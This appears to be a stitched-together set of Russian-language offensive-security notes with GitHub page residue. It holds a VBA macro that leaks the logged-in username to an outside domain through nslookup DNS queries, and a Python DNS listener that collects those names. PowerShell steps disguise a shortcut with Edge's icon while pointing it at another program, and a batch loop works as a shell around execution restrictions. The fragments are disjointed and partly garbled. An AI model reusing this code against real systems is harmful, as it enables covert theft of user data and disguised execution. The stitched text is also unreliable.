‼️ Отличаем от инфильтрации (передача по цепочке attacker -> victim)

- Потратил много денях на обучение сотрудников, хочу проверить сколько из них с радостью откроют фишинговое письмо да еще и с другом поделятся.

Sub PerformNslookup()
    Dim username As String
    Dim domain As String
    Dim command As String
    
    WhoIsUser = Environ("UserName")
    domain = "sub.domain.ru"
    
    command = "nslookup " & WhoIsUser & "." & domain
    
    Shell "cmd /c " & command, vbNormalFocus
End Sub

import socket
import re
import binascii
from dnslib import DNSRecord
UDP_IP = "0.0.0.0"
UDP_PORT = 53
sock = socket.socket(socket.AF_INET, 
           socket.SOCK_DGRAM)
sock.bind((UDP_IP, UDP_PORT))
while True:
 byteData, addr = sock.recvfrom(2048)
 try:
   message = binascii.unhexlify(binascii.b2a_hex(byteData))
   message = DNSRecord.parse(message)
 except Exception as e:
   print(e)
   continue
 result = re.search(r'\;(\S+)\.sub\.domain\.ru', str(message), re.MULTILINE)
 if result:
   print('detected:', result.group(1))

-Скажи мне три слова, которые хочет услышать любая девушка
- whoami
NT AUTHORITY\SYSTEM

PS C:\share> $shell = New-Object -ComObject WScript.Shell
PS C:\share> $shortcut = $shell.CreateShortcut(".\Microsoft Edge.lnk")
PS C:\share> $shortcut | Select-Object *

FullName         : c:\share\Microsoft Edge.lnk
Arguments        :
Description      : Просмотр веб-страниц
Hotkey           :
IconLocation     : C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,0
RelativePath     :
TargetPath       : C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
WindowStyle      : 1
WorkingDirectory : C:\Program Files (x86)\Microsoft\Edge\Application

┌──(kali㉿kali)-[~]
└─$ file Microsoft\ Edge.lnk 
Microsoft Edge.lnk: MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Icon number=0, Unicoded, HasExpIcon "%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe", MachineID desktop-ubegqsr KnownFolderID 7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E, Archive, ctime=Thu Aug  5 19:41:46 2021, atime=Sat Jun 22 21:48:12 2024, mtime=Thu Jun 13 04:14:38 2024, length=3883560, window=normal, IDListSize 0x0231, Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D", Volume "C:\", LocalBasePath "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
                                                                                                                                                                                                                                             
┌──(kali㉿kali)-[~]
└─$ hexdump -C Microsoft\ Edge.lnk 
00000000  4c 00 00 00 01 14 02 00  00 00 00 00 c0 00 00 00  |L...............|
00000010  00 00 00 46 df 40 00 00  20 00 00 00 ac bc 7c 12  |...F.@.. .....|.|
...
000002a0  00 00 00 26 1d 18 fa 10  00 00 00 00 43 3a 5c 50  |...&........C:\P|
000002b0  72 6f 67 72 61 6d 20 46  69 6c 65 73 20 28 78 38  |rogram Files (x8|
000002c0  36 29 5c 4d 69 63 72 6f  73 6f 66 74 5c 45 64 67  |6)\Microsoft\Edg|
000002d0  65 5c 41 70 70 6c 69 63  61 74 69 6f 6e 5c 6d 73  |e\Application\ms|
000002e0  65 64 67 65 2e 65 78 65  00 00 14 00 1f 04 40 04  |edge.exe......@.|
...
00000980  d5 91 69 6c a4 6c 00 00  00 00 00 00 00 00 00 00  |..il.l..........|
00000990  00 00                                             |..|
00000992

PS C:\share> $objShell = New-Object -ComObject WScript.Shell
PS C:\share> $lnk = $objShell.CreateShortcut("c:\share\Microsoft Edge.lnk")
PS C:\share> $lnk.TargetPath = "C:\windows\system32\calc.exe"
PS C:\share> $lnk.Save()

PS C:\share> $shell = New-Object -ComObject WScript.Shell
PS C:\share> $shortcut = $shell.CreateShortcut(".\Microsoft Edge.lnk")
PS C:\share> $shortcut | Select-Object *

FullName         : c:\share\Microsoft Edge.lnk
Arguments        :
Description      : Просмотр веб-страниц
Hotkey           :
IconLocation     : C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,0
RelativePath     :
TargetPath       : C:\Windows\System32\calc.exe
WindowStyle      : 1
WorkingDirectory : C:\Windows\System32

This operation has been cancelled due to restrictions in effect on this computer. Please contact your system
administrator.

@echo off 
:A 
set /P x="%cd%>" 
%x% 
goto A

   This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
   

a7630fd249a81add7f252cb53173be04f61ce634

a763